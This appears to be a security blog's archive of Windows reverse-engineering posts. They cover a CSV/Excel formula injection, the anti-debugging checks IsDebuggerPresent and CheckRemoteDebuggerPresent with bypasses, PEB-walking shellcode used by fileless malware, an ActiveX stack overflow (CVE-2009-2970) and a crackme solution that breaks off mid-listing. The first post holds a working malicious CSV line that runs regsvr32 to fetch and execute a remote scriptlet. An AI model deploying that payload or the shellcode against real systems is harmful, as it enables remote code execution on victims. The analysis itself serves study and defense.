xorl %eax, %eax

Archive for the ‘Windows’ Category

Microsoft Excel CSV code execution/injection method

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Yesterday Davo Cossa mentioned this technique in one of his tweets. The idea behind it is to exploit how formulas and CSV parsing is performed by Microsoft Excel in order to achieve remote code execution by tricking the user into opening a specially crafted CSV file. You can see the example malicious CSV below.

fillerText1,fillerText2,fillerText3,=MSEXCEL|'\..\..\..\Windows\System32\regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''

And here is how it works. When Microsoft Excel tries to parse a CSV file it adds each comma separated field in a separate cell. So, first cell will be “fillerText1”, the second cell “fillerText2”, and so on. However, the last one in this example will try to insert the following to a cell.

=MSEXCEL|'\..\..\..\Windows\System32\regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''

As you probably already know, Microsoft Excel treats the “=” as a special character to indicate the beginning of a formula. So, here is what the above code will actually try to execute on the target system.

regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll

What this does is calling the Microsoft Register Server (regsvr32) in silent mode (/s), unregistering (/u), not calling DLL register server (/n) and passing the required DLL to load via parameter (/i). The passed DLL is “scrobj.dll” which is the Microsoft’s Script Component Runtime and it asks it to fetch and execute the Windows Scriptlet file located at http://RemoteIPAddress/SCTLauncher.sct. Because regsvr32 is part of the Windows operating system it bypasses the AppLocker whitelist and can execute any script from the fetched file on the victim’s system. There is a full analysis of this AppLocker bypass technique here.

Written by xorl

December 11, 2017 at 23:22

Posted in Windows

The CheckRemoteDebuggerPresent() anti-debugging technique

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Disclaimer: I am not an experienced Windows guy. I know just the basics and still learning.

A few days ago I published Reverse Engineering isDebuggerPresent() which is the most widely used anti-debugging method in Windows malware. Here I will be going through another very common anti-debugging method in Windows malware, the CheckRemoteDebuggerPresent() from kernel32.dll.

BOOL WINAPI CheckRemoteDebuggerPresent(
  _In_    HANDLE hProcess,
  _Inout_ PBOOL  pbDebuggerPresent
);

Basically, the function will set “pbDebuggerPresent” to TRUE or FALSE depending on the status of the process referenced by “hProcess” pointer. Malware authors typically use this in a way similar to what you see below. The following code retrieves the current process’ handle via GetCurrentProcess() and then uses CheckRemoteDebuggerPresent() to discover if a debugger is attached to this process.

#include "windows.h"

int main(void)
{
    BOOL HasDebugPort = FALSE;

    if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &HasDebugPort))
    {
           ExitProcess(0); // Running in ring-3 debugger
    }
    // Running outside ring-3 debugger
    return 0;
}

If you recall, what isDebuggerPresent() does, is returning the value of “Process->PEB->BeingDebugged”. CheckRemoteDebuggerPresent() is slightly different. Instead of looking for this flag, it checks if the process has a non-zero debug port. In other words, this means that the process has a Ring-3 debugger attached to it. Below you can see how CheckRemoteDebuggerPresent() actually works in KernelBase.dll.



Unlike isDebuggerPresent(), the CheckRemoteDebuggerPresent() uses NtQueryInformationProcess() to obtain the value of “Process->ProcessDebugPort” value. Below you can see some example/pseudo code on how NtQueryInformationProcess() retrieves that information.

NTSTATUS
NTAPI
NtQueryInformationProcess(IN HANDLE ProcessHandle,
                           IN PROCESSINFOCLASS ProcessInformationClass,
                           OUT PVOID ProcessInformation,
                           IN ULONG ProcessInformationLength,
                           OUT PULONG ReturnLength OPTIONAL)
 {
   ...
             Status = ObReferenceObjectByHandle(ProcessHandle,
                                                PROCESS_QUERY_INFORMATION,
                                                PsProcessType,
                                                PreviousMode,
                                                (PVOID*)&Process,
                                                NULL);
   ...
                 *(PHANDLE)ProcessInformation = (Process->DebugPort ?
                                                 (HANDLE)-1 : NULL);
   ...
}

To defeat this anti-debugging technique we can use similar methods like the ones we described for isDebuggerPresent(). Namely, here are a few example methods to do this:

  • Patch the comparison of the return value of CheckRemoteDebuggerPresent() in the malware code
  • Patch the malware to jump over the CheckRemoteDebuggerPresent() check
  • Patch the malware to NOP the CheckRemoteDebuggerPresent() check
  • Set a breakpoint after the NtQueryInformationProcess() call and update its return value for ProcessDebugPort to 0
  • Pre-load/hook a DLL that overrides NtQueryInformationProcess() and always returns 0 for ProcessDebugPort

Written by xorl

December 9, 2017 at 19:40

Posted in Windows

Fileless malware and PEB enumeration

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I was reverse engineering a fileless (meaning the malicious payload is only in the system’s memory) malware sample and I came across this technique which apparently is quite popular in fileless malware. So, this is what this post will be about. How fileless malware take advantage of PEB (Process Environment Block) enumeration to work. You can see the PEB structure as defined in Winternl.h header file below.

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;

When a malware injects a payload into memory it needs to somehow find which API calls to use. This means it has to find where those are located in memory. A common method to do this is using PEB which is always located at the same offset. Specifically, at offset 0x30 from the “fs” register. The assembly instructions you see below will load the PEB pointer to the “edx” register.

xor edx, edx          ; Make sure edx is empty
mov edx, fs:[edx+30h] ; Get the address of PEB

Now that the malware has a starting point, it can get advantage of the “Ldr” pointer which is PEB. “Ldr” is technically a pointer to a “PEB_LDR_DATA” structure which contains a linked list (InMemoryOrderModuleList) of the loaded modules. Here you can see how this is defined in Winternl.h header file.

typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

And below you can see the equivalent assembly instructions that will help us find the “Ldr” pointer. We are just using the PEB pointer that we discovered above and add 0x0C to it which will lead us to the location of the “Ldr” pointer, and we store its value in the “edx” register.

xor edx, edx          ; Make sure edx is empty
mov edx, fs:[edx+30h] ; Get the address of PEB
mov edx, [edx+0Ch]    ; Get the address of PEB->Ldr

Within the “Ldr” as you saw from the type definition above, there is a doubly-linked list named “InMemoryOrderModuleList”. This doubly-linked list contains the modules that are loaded in this process. Once again, the “LIST_ENTRY” data type is defined in the Winternl.h header file and you can see it here.

 typedef struct _LIST_ENTRY
{
   struct _LIST_ENTRY  *Flink;
   struct _LIST_ENTRY  *Blink;
}LIST_ENTRY, *PLIST_ENTRY;

The code can now just iterate through the “InMemoryOrderModuleList” linked list to enumerate the loaded modules that are available. You can see the equivalent assembly code below which is similar to the above. However, now “edx” register points to the first module (specifically a pointer to a “LDR_DATA_TABLE_ENTRY” structure) that is available. By increasing the offset we can iterate through all of them.

xor edx, edx          ; Make sure edx is empty
mov edx, fs:[edx+30h] ; Get the address of PEB
mov edx, [edx+0Ch]    ; Get the address of PEB->Ldr
mov edx, [edx+14h]    ; Get the PEB->Ldr->InMemoryOrderModuleList

From this point on, the malware can identify the modules it needs to use and reference them directly. This method is very popular in fileless malware as it can be used to dynamically discover loaded modules when a payload is injected in memory and executed via another process. For example, a common method is to use the third entry of the list (which includes the base address of kernel32.dll) and enumerate the export table of kernel32.dll to find LoadLibrary() and start loading arbitrary DLLs required for its operation. Here is a sample code that gets the base address of kernel32.dll which can be used to discover LoadLibrary() to be able to load modules dynamically.

xor edx, edx          ; Make sure edx is empty
mov edx, fs:[edx+30h] ; Get the address of PEB
mov edx, [edx+0Ch]    ; Get the address of PEB->Ldr
mov edx, [edx+14h]    ; Get the PEB->Ldr->InMemoryOrderModuleList
mov edx, [edx]        ; Second entry in PEB->Ldr->InMemoryOrderModuleList
mov edx, [edx]        ; Third entry (kernel32.dll) in PEB->Ldr->InMemoryOrderModuleList
mov edx, [edx+10h]    ; The base address of the third entry (kernel32.dll)

Written by xorl

December 6, 2017 at 01:08

Posted in Windows

Reverse Engineering isDebuggerPresent()

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Disclaimer: I am not an experienced Windows guy. I know just the basics and still learning.

There have been tons of articles on how to bypass isDebuggerPresent(), the most widely used anti-debugging method in Windows. However, here we will go a little bit into what isDebuggerPresent() does internally. As we can read in Microsoft’s documentation, it comes with a very simple prototype from Kernel32 library.

BOOL WINAPI IsDebuggerPresent(void);

What we need to know is that isDebuggerPresent() is designed to perform just one task. Return a non-zero value if the current process is running in a user-mode debugger, and a zero value if it is not running in a user-mode debugger. If we load up the Kernel32 DLL (Dynamic-Link Library), we can quickly find the export of this routine. Basically, it is just a jump to an internal offset from DS (Data Segment) register.



This makes sense as Microsoft has moved a lot of the functionality from kernel32.dll and advapi32.dll to kernelbase.dll. So, if we load kernelbase.dll we will quickly locate the actual code behind isDebuggerPresent() which consists of a very simple operation.



Literally, the entire isDebuggerPresent() function is three assembly instructions. First, it stores the value of fs:30h register to EAX register, then copies the value of EAX+2 to the EAX register and lastly, it returns the value that EAX has.

mov     eax, large fs:30h
movzx   eax, byte ptr [eax+2]
retn

The question now becomes, what does the FS segment register store in offset 0x30? The answer is common to any Windows people out there. In Windows, the FS segment register points to the Win32 TIB (Windows 32-bit Thread Information Block), a data structure that describes the currently running thread. In the 0x30 offset we have the linear address of the Process Environment Block (PEB). If you are interested in the rest of the TIB you can check the full mapping on Wikipedia.



This means that the first instruction retrieves the address of PEB data structure. The second instruction fetches the value that is stored two Bytes after the beginning of the PEB structure. Reading Microsoft’s documentation on PEB solves this mystery as this is where “BeingDebugged” is located. So, technically isDebuggerPresent() is returning whatever value “BeingDebugged” has.

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;

The question now becomes, what can set _PEB.BeingDebugged to a non-zero value and why. The answer to this is the debugging API of Windows. When a request is made to attach a debugger to a process such as DebugActiveProcess() it will result to a call to DbgUiDebugActiveProcess() from the Windows Native API, known as NTDLL. Here is the equivalent disassembled code.



What we care about as you can easily guess, is the call to _NtDebugActiveProcess() function. This internal API call results in a system call (hex value 0x800C5) to “NtDebugActiveProcess” which is invoked via Wow64SystemServiceCall(). This is part of the NT Operating System kernel (ntoskrnl.exe), also known as the Windows kernel image. If we load the ntoskrnl.exe to IDA and find this system call’s code, we will see exactly how “BeingDebugged” is set.



As you can see “NtDebugActiveProcess” system call will eventually result in the invocation of DbgkpSetProcessDebugObject() function. A function that takes four arguments and is defined as you see below in the Windows internal kernel API prototype.

NTSTATUS NTAPI DbgkpSetProcessDebugObject(IN PEPROCESS Process,
		IN PDEBUG_OBJECT DebugObject,
		IN NTSTATUS      MsgStatus,
		IN PETHREAD  	 LastThread 
) 	

This routine is also part of ntoskrl.exe and what is interesting to us is at the very bottom of its code. You can see the exact snippet below. What we care about is the call to DbgkpMarkProcessPeb() function.



As it is suggested by its name, DbgkpMarkProcessPeb() will update the PEB of the process that it received as an argument to mark it as under debugging. Below you can see exactly where the “BeingDebugged” flag is set to TRUE (or FALSE) within DbgkpMarkProcessPeb().



The above code updates “Process->PEB->BeingDebugged” based on the value of “DebugPort”. If the “DebugPort” is enabled, it will set “Process->PEB->BeingDebugged” to the value of “DebugPort”, otherwise it will remain unset. The “DebugPort” is a value of the PEB structure which is initialized if the parent process (like a debugger) or the kernel was asked to to associate this process with a debug object. You can see the function that does this below.



Basically, this means that any time a debug object is created on the kernel for a process, the DbgkpMarkProcessPeb() will be invoked to ensure that “BeingDebugged” is set to TRUE in the PEB data structure of this specific process. Then, isDebuggerPresent() will simply fetch that value and return it to the user-space when called. As I mentioned in the intro, the scope of this post was not how to defeat the isDebuggerPresent() anti-debugging technique, but to understand how it works. Knowing the above should be sufficient to give you some ideas on how to do it. Just for reference, below are some ideas with a few different methods to bypass this check.

Written by xorl

November 20, 2017 at 16:23

CVE-2009-2970: UiTV UiPlayer ActiveX Stack Overflow

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This bug was discovered and reported by Yu Yang of NSFOCUS Security Team. As the author state in the advisory, this issue affects UiCheck.dll releases prior to 1.0.0.7. So, I used 1.0.0.6 version of that DLL and let’s see what I’ve found…

.text:10002390
.text:10002390 ; int __stdcall sub_10002390(int, LPCWSTR lpWideCharStr, int)
.text:10002390 sub_10002390    proc near               ; DATA XREF: .rdata:1001391C^Yo
.text:10002390                                         ; .rdata:10013F24^Yo
.text:10002390
.text:10002390 var_4A8         = byte ptr -4A8h
.text:10002390 CodePage        = dword ptr -4A4h
.text:10002390 puLen           = dword ptr -4A0h
.text:10002390 lpBuffer        = dword ptr -49Ch
.text:10002390 var_498         = dword ptr -498h
.text:10002390 dwHandle        = dword ptr -494h
.text:10002390 SubBlock        = byte ptr -490h
.text:10002390 SubKey          = byte ptr -390h
.text:10002390 ValueName       = byte ptr -290h
.text:10002390 var_194         = byte ptr -194h
.text:10002390 var_190         = byte ptr -190h
.text:10002390 var_11B         = byte ptr -11Bh
.text:10002390 Data            = byte ptr -110h
.text:10002390 Str             = byte ptr -0Ch
.text:10002390 var_4           = dword ptr -4
.text:10002390 lpWideCharStr   = dword ptr  0Ch
.text:10002390 arg_8           = dword ptr  10h
.text:10002390

This is the buggy handling routine and here is how it starts it code…

.text:10002390                 push    ebp
.text:10002391                 lea     ebp, [esp-428h]
.text:10002398                 sub     esp, 4A8h
.text:1000239E                 mov     eax, dword_10017360
.text:100023A3                 push    ebx
.text:100023A4                 push    esi
.text:100023A5                 push    edi
.text:100023A6                 mov     [ebp+428h+var_4], eax
.text:100023AC                 call    Target
.text:100023B2                 mov     ebx, [ebp+428h+lpWideCharStr]
.text:100023B8                 mov     [ebp+428h+CodePage], eax
.text:100023BB                 xor     eax, eax
.text:100023BD                 cmp     ebx, eax
.text:100023BF                 mov     [ebp+428h+dwHandle], eax
.text:100023C2                 jz      short loc_10002404

First of all, EBP is loaded with ‘[esp-428h]’ and stack pointer is set accordingly. Then EAX register is initialized with ‘dword_10017360’ which is later moved to ‘[ebp+428h+var_4]’ as the fourth argument of ‘Target’ callback function. When this returns, EBX is initialized with ‘lpWideCharStr’ and the returned value of the callback function is used to set the ‘CodePage’ value. EAX register is zeroed out using a simple XOR logical operation and the result compared. Then, it initializes ‘dwHandle’ to the value of EAX and if it’s zero, it will perform a short jump to ‘loc_10002404’ which will initialize EDX and EBX like this:

.text:10002404
.text:10002404 loc_10002404:                           ; CODE XREF: sub_10002390+32^Xj
.text:10002404                                         ; sub_10002390+70^Xj
.text:10002404                 lea     edx, [ebp+428h+ValueName]
.text:1000240A                 lea     ebx, [ebx+0]

Assuming that this is not the case, the following will be executed:

.text:100023C4                 push    ebx             ; lpString
.text:100023C5                 call    ds:lstrlenW
.text:100023CB                 lea     edi, [eax+eax+2]
.text:100023CF                 mov     eax, edi
.text:100023D1                 add     eax, 3
.text:100023D4                 and     eax, 0FFFFFFFCh
.text:100023D7                 call    __alloca_probe

This code performs a call to Unicode lstrlenW() routine passing EBX (that contains lpString) to it as an argument. It loads ‘[eax+eax+2]’ to EDI register and then moves that value back to EAX and adds 3 to it. Finally, it performs a logical AND mask with 0x0FFFFFFF to avoid negative numbers and calls __alloca_probe() to ensure that there is enough space in the stack for allocation.
Let’s continue…

.text:100023DC                 mov     esi, esp
.text:100023DE                 test    esi, esi
.text:100023E0                 jz      short loc_10002402

So, ESI is initialized with ESP’s value and if the test check returns zero, it will jump to ‘loc_10002402’ which is a simple code that zeroes EAX out like this:

.text:10002402
.text:10002402 loc_10002402:                           ; CODE XREF: sub_10002390+50^Xj
.text:10002402                 xor     eax, eax

However, if this is not the case. Which means that we have enough space on the stack, a call to WideCharToMultiByte() will be performed like this:

.text:100023E2                 mov     eax, [ebp+428h+CodePage]
.text:100023E5                 push    0               ; lpUsedDefaultChar
.text:100023E7                 push    0               ; lpDefaultChar
.text:100023E9                 push    edi             ; cchMultiByte
.text:100023EA                 push    esi             ; lpMultiByteStr
.text:100023EB                 push    0FFFFFFFFh      ; cchWideChar
.text:100023ED                 push    ebx             ; lpWideCharStr
.text:100023EE                 push    0               ; dwFlags
.text:100023F0                 push    eax             ; CodePage
.text:100023F1                 mov     byte ptr [esi], 0
.text:100023F4                 call    ds:WideCharToMultiByte
.text:100023FA                 neg     eax
.text:100023FC                 sbb     eax, eax
.text:100023FE                 and     eax, esi
.text:10002400                 jmp     short loc_10002404
.text:10002402 ; ---------------------------------------------------------------------------

The returned value (stored in EAX) is checked for overflow using NEG instruction. The subsequent call to SBB will subtract (with cartage) the EAX register and then perform a logical AND to it using ESI register. The short jump to ‘loc_10002404’ was described earlier, it will just execute this:

.text:10002404 loc_10002404:                           ; CODE XREF: sub_10002390+32^Xj
.text:10002404                                         ; sub_10002390+70^Xj
.text:10002404                 lea     edx, [ebp+428h+ValueName]
.text:1000240A                 lea     ebx, [ebx+0]
.text:10002410

And here is the code you’ve been waiting for…

.text:10002410 loc_10002410:                           ; CODE XREF: sub_10002390+88^Yj
.text:10002410                 mov     cl, [eax]
.text:10002412                 inc     eax
.text:10002413                 mov     [edx], cl
.text:10002415                 inc     edx
.text:10002416                 test    cl, cl
.text:10002418                 jnz     short loc_10002410

This is a simple loop that will continue copying ‘[eax]’ to ‘cl’ and ‘cl’ to the location of EDX as long as ‘cl’ is not NULL. This looks like a simple loop similar to the following (in C pseudo-code):

char *edx = ValueName;
char *ebx = lpWideCharStr;

*(char *)ebx = 0;          // As it did in loc_10002404

while ( *ebx != NULL)
{
        *(char *)edx = *(char *)ebx;
        *ebx++;
        *edx++;
}

So, it will continue copying regardless of the destination buffer’s size. However, ‘ValueName’ has static size as you can read from the stack frame (or the offsets generated by IDA in the above paste). The code that follows is of no interest. It performs some GetModuleHandleA(), GetModuleFileNameA(), GetFileVersionInfoSizeA() etc. calls. In 1.0.0.7 DLL version, this code was changed like this:

.text:10002415 loc_10002415:                           ; CODE XREF: sub_10002390+81^Xj
.text:10002415                 push    32h             ; Count
.text:10002417                 push    eax             ; Source
.text:10002418                 lea     ecx, [ebp+428h+ValueName]
.text:1000241E                 push    ecx             ; Dest
.text:1000241F                 call    _strncpy
.text:10002424                 add     esp, 0Ch
.text:10002427                 push    offset aUicheck_dll ; "UiCheck.dll"
.text:1000242C                 call    ds:GetModuleHandleA

As you can read, instead of using that simple copy loop that they did, they use _strncpy() in a manner similar to:

_strncpy(ValueName, lpWideCharStr, 0x32);

Quite simple bug and if you spend some time on that DLL you’ll see that it has a few more vulnerabilities. Anyway, this post was a result of my first attempt to use N. Economou’s TurboDiff which is really awesome plugin for IDA. :)

Written by xorl

November 1, 2009 at 18:36

cyclops’s NTS-Crackme10 Solution

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I found my solution for this crackme while cleaning up an old USB flash drive. So, here is my solution to this really cool crackme.
When you first run you’ll see something similar to this:

crackme1

After browsing for a few minutes the code in IDA I spotted the reason why it was exiting when I was attempting to run it in a debugger. The reason is:

.text:0040129C loc_40129C:                             ; CODE XREF: sub_401260+36j
.text:0040129C                 push    offset LibFileName ; "kernel32.dll"
.text:004012A1                 call    ds:LoadLibraryA
.text:004012A7                 push    offset ProcName ; "IsDebuggerPresent"
.text:004012AC                 push    eax             ; hModule
.text:004012AD                 call    ds:GetProcAddress
.text:004012B3                 call    eax
.text:004012B5                 test    eax, eax
.text:004012B7                 jz      short loc_4012BD
.text:004012B9                 push    0               ; nExitCode
.text:004012BB                 call    edi ; PostQuitMessage
.text:004012BD

As you can see, it uses IsDebuggerPresent() from kernel32.dll and if this returns TRUE which means EAX will be non-zero, it will jump to loc_4012BD. Otherwise, it will just execute PostQuitMessage(0). There a number of ways to overcome this protection, the simplest one is to just patch the binary and make “test” instruction succeed every time. Another common way is to attach to the process after this code has been executed. In this case, attaching is easier since this check is performed only once during the initialization of the process. Just start the process normally in your Windows and then attach your favorite debugger to it! :)
And now, it is the time to fill every “sound interesting” function with breakpoints. Probably the most interesting one was the Cwnd::GetDlgItemTextA(int, char *, int). From MSDN we can see that this is an MFC (Microsoft Foundation Class) library routine, this is definitely not surprising. Just have a look at that binary and you will see that it makes wide use of MFC. So… After entering a username/password like AAAAAAAA/BBBBBBBB and pressing a quite a few F7 I saw this:

.text:004014BA loc_4014BA:                             ; CODE XREF: sub_401490+21j
.text:004014BA                 nop
.text:004014BB                 pop     eax
.text:004014BC                 lea     eax, [ebp+var_24]
.text:004014BF                 push    1Fh
.text:004014C1                 push    eax
.text:004014C2                 push    3E8h
.text:004014C7                 call    ?GetDlgItemTextA@CWnd@@QBEHHPADH@Z ; CWnd::GetDlgItemTextA(int,char *,int)
.text:004014CC                 mov     edi, eax
.text:004014CE                 push    ecx
.text:004014CF                 push    eax
.text:004014D0                 rdtsc
.text:004014D2                 xor     ecx, ecx
.text:004014D4                 add     ecx, eax
.text:004014D6                 rdtsc
.text:004014D8                 sub     eax, ecx
.text:004014DA                 cmp     eax, 0FFFh
.text:004014DF                 jb      short loc_4014E8
.text:004014E1                 add     [ebp+var_4], 3025h
.text:004014E8

The value stored in EAX, is our username as we can see from the stack at that moment:

Stack[00000488]:0012F884 var_24          db 41h
Stack[00000488]:0012F885                 db  41h ; A
Stack[00000488]:0012F886                 db  41h ; A
Stack[00000488]:0012F887                 db  41h ; A
Stack[00000488]:0012F888                 db  41h ; A
Stack[00000488]:0012F889                 db  41h ; A
Stack[00000488]:0012F88A                 db  41h ; A
Stack[00000488]:0012F88B                 db  41h ; A

Then, it invokes Cwnd::GetDlgItemTextA() in a way similar to: GetDlgItemTextA(0x1F, username, 0x03E8). The last value represents the maximum length and in decimal this is 1000. The subsequent mov edi, eax instruction is used to store the return value (EAX) of GetDlgItemTextA() which represents the length of the characters being copied not including the NULL termination to EDI register.
The next snippet makes use of rdtsc to retrieve the processor timestamp and store the result which is 64bit long to ECX and EAX. It zeros out ECX by XOR’ing it with it self and then adds to it the value of EAX (the lower value returned by rdtsc). It invokes rdtsc once again and then substracts the returned value from the one stored in EAX from the first call. If the comparison succeeds, which means that EAX is equal to 0xFFF (which is 4096 in decimal) it skips the add instruction since it jumps to loc_4014E8 which is the immediately next location.
In case that CMP fails, which means that it took some more time than the expected between the two instructions, then it adds 0x3025 (12325 in decimal) to a local variable. This is another nice little anti-debugging feature. It counts the execution time between the two rdtsc instructions and if it is longer than the expected (probably because of some debugger single stepping around) then it changes its behavior. Once again, there are countless ways to bypass this. You can patch it to add 0, you can NOP it, you can make the CMP succeed always, or you can simply set a breakpoint after that code, for example in loc_4014E8 and thus no execution time overhead. I patched it to be zero and now, after bypassing this let’s move to the loc_4014E8 code.

.text:004014E8 loc_4014E8:                             ; CODE XREF: sub_401490+4Fj
.text:004014E8                 nop
.text:004014E9                 pop     eax
.text:004014EA                 pop     ecx
.text:004014EB                 lea     ecx, [ebp+var_48]
.text:004014EE                 push    11h
.text:004014F0                 push    ecx
.text:004014F1                 push    3E9h
.text:004014F6                 mov     ecx, esi
.text:004014F8                 call    ?GetDlgItemTextA@CWnd@@QBEHHPADH@Z ; CWnd::GetDlgItemTextA(int,char *,int)

Here it just invokes Cwnd::GetDlgItemTextA() in a way similar to: GetDlgItemTextA(17, password, 1001). So… Continuing with this function we have:

.text:004014FD                 cmp     edi, 5
.text:00401500                 jle     short loc_40152F
.text:00401502                 cmp     eax, 5
.text:00401505                 jle     short loc_40152F

If you recall, EDI has the length of the username not including the NULL termination and from the previous call, EAX has the length of the password. If any of these two is less than 5 characters, it will jump to loc_40152F. This is something you really don’t want to happen since this code simply ends this function like this:

.text:0040152F loc_40152F:                             ; CODE XREF: sub_401490+70j
.text:0040152F                                         ; sub_401490+75j ...
.text:0040152F                 pop     edi
.text:00401530                 pop     esi
.text:00401531                 mov     esp, ebp
.text:00401533                 pop     ebp
.text:00401534                 retn

Assuming that our credentials are more than 5 characters, then the code that follows is this:

.text:00401507                 mov     edx, [ebp+var_4]
.text:0040150A                 lea     eax, [ebp+var_48]
.text:0040150D                 push    edx
.text:0040150E                 lea     ecx, [ebp+var_24]
.text:00401511                 push    eax
.text:00401512                 push    ecx
.text:00401513                 call    sub_4013D0
.text:00401518                 add     esp, 0Ch
.text:0040151B                 test    eax, eax
.text:0040151D                 jz      short loc_40152F
.text:0040151F                 push    0
.text:00401521                 push    0
.text:00401523                 push    offset aSerialIsCorrec ; "Serial is Correct!!!"
.text:00401528                 mov     ecx, esi
.text:0040152A                 call    ?MessageBoxA@CWnd@@QAEHPBD0I@Z ; CWnd::MessageBoxA(char const *,char const *,uint)
.text:0040152F

Now, EDX contains the username, EAX the password and then a call to sub_4013D0 is made with parameters like these: sub_4013D0(&username, &password, var_4). It is noteworthy here that if the rdtsc anti-debugging succeeded, then var_4 would be set to 12325 instead of 0 that it is normally. Anyway, keep these in mind and let’s continue with the execution.
After a useless ESP+0, it tests the return value of sub_4013D0 function. If it returns FALSE, then it will jump to loc_40152F which was demonstrated earlier, it will just terminate the routine. However, if it returns true it will call MessageBoxA(“Serial is Correct!!!”, 0, 0). We have reached our goal! We can now choose the easy path of just patching it and creating a crack file that changes the behavior of that test instruction or its equivalent jz or whatever. But the fun part is to reverse the sub_4013D0 and write a nice little key logger. Let’s do this.

It starts like this…

.text:004013D0 sub_4013D0      proc near               ; CODE XREF: sub_401490+83p
.text:004013D0
.text:004013D0 Dest            = byte ptr -0Ch
.text:004013D0 arg_0           = dword ptr  4
.text:004013D0 arg_4           = dword ptr  8
.text:004013D0 arg_8           = dword ptr  0Ch
.text:004013D0
.text:004013D0                 sub     esp, 0Ch
.text:004013D3                 xor     eax, eax
.text:004013D5                 xor     edx, edx
.text:004013D7                 push    ebx
.text:004013D8                 push    esi
.text:004013D9                 mov     esi, [esp+14h+arg_0]
.text:004013DD                 mov     cl, [esi]
.text:004013DF                 test    cl, cl
.text:004013E1                 jz      short loc_401422
.text:004013E3                 push    edi
.text:004013E4                 mov     edi, [esp+18h+arg_8]

So, we have our three arguments username, password and that anti-debugging counter. Then it allocates 12 bytes on the stack and zeroes out EAX and EDX. For convenience I renamed the argumets to user, pass and counter respectively. The next mov instruction stores the address of the username to ESI and the following one, uses the lower part of ECX (meaning the CL register) to get the first character of the username. If this is not NULL (meaning that test instruction succeeds), it will jump to loc_401422. Otherwise, it will push the current value of EDI in the stack and then store the anti-debugging counter to it. Assuming that our username has at least 6 characters, to pass a check shown earlier we can move on with the execution knowing that the test instruction will succeed. The following code is this:

.text:004013E8 loc_4013E8:                             ; CODE XREF: sub_4013D0+4Fj
.text:004013E8                 movsx   ecx, cl
.text:004013EB                 mov     ebx, ecx
.text:004013ED                 xor     ebx, 0C0C0C0C0h
.text:004013F3                 sub     ebx, edi
.text:004013F5                 add     ebx, edx
.text:004013F7                 imul    ebx, eax
.text:004013FA                 shl     ebx, 1
.text:004013FC                 mov     edx, ebx
.text:004013FE                 lea     ebx, [ecx+ecx*4]
.text:00401401                 xor     edx, ebx
.text:00401403                 and     ecx, 8000001Fh
.text:00401409                 jns     short loc_401410
.text:0040140B                 dec     ecx
.text:0040140C                 or      ecx, 0FFFFFFE0h
.text:0040140F                 inc     ecx

Ok… It moves the character of the username stored in CL to ECX in order to be able to perform various operations. For this reason it uses movsx that performs sign extension. It then moves it into ECX and XORs it with 0x0C0C0C0C0. It then subtracts from it the anti-debugging counter/value which is 0 if everything works as expected and increments EBX (username pointer) by EDX (which is 0 now). The next three instructions, imul, shl and mov are used to multiply and sign extend EAX (which is 0) with EBX (username character) and store the result to EDX. The next lea instruction is tricky, it’s used simply to multiply by five and store that result to EBX. The previous result stored in EDX and the one of the exact previous instruction in EBX are XOR’d. Next, ECX is masked with 0x8000001F and if the value isn’t less than zero, then jump to loc_401410. If this is not the case, decrement ECX and OR it with 0x0FFFFFFE0 and then increment it. Assuming that we have a positive value, the following code will be executed:

.text:00401410 loc_401410:                             ; CODE XREF: sub_4013D0+39j
.text:00401410                 shl     edx, cl
.text:00401412                 mov     cl, [eax+esi+1]
.text:00401416                 xor     edx, 0BADDC001h
.text:0040141C                 inc     eax
.text:0040141D                 test    cl, cl
.text:0040141F                 jnz     short loc_4013E8
.text:00401421                 pop     edi

The first instruction shifts left EDX register, and the next mov instruction retrives the next character of the username. EDX is then XOR’d with 0x0BADDC001 and EAX is incremented. If CL is not NULL it jumps back to loc_4013E8. So.. this is a simple loop. In C this could be represent it like:

for(c = *(char *)username; username; ++i)
{
   edx = 5 * c ^ 2 * i * (edx + (c ^ 0xC0C0C0C0) - counter);
   ecx = c & 0x8000001F;

   if (ecx < 0)
     ecx = ((--ecx) | 0xFFFFFFE0) + 1;

   edx = edx << ecx;
   c = *(char *) (i + user + 1);
   edx = edx ^ 0x0BADDC001;
} 
&#91;/sourcecode&#93;

With this in mind we can move on with this routine. The next code is fairly simple...

&#91;sourcecode language="c"&#93;
.text:00401422 loc_401422:                             ; CODE XREF: sub_4013D0+11j
.text:00401422                 push    edx
.text:00401423                 lea     eax, &#91;esp+18h+Dest&#93;
.text:00401427                 push    offset Format   ; "%08X"
.text:0040142C                 push    eax             ; Dest
.text:0040142D                 call    ds:sprintf
.text:00401433                 mov     esi, &#91;esp+20h+pass&#93;
.text:00401437                 add     esp, 0Ch
.text:0040143A                 lea     eax, &#91;esp+14h+Dest&#93;
&#91;/sourcecode&#93;

What it does is basically sprintf(Dest, "%08X", edx). This means that the hex value is then stored into ESI and the final password into EAX. So, in C this code would be:

&#91;sourcecode language="c"&#93;
sprintf(dest, "%08X", edx);
esi = password;
eax = dest;
&#91;/sourcecode&#93;

And let's move to the next disassembled code...

&#91;sourcecode language="c"&#93;
.text:0040143E loc_40143E:                             ; CODE XREF: sub_4013D0+90j
.text:0040143E                 mov     dl, &#91;eax&#93;
.text:00401440                 mov     bl, &#91;esi&#93;
.text:00401442                 mov     cl, dl
.text:00401444                 cmp     dl, bl
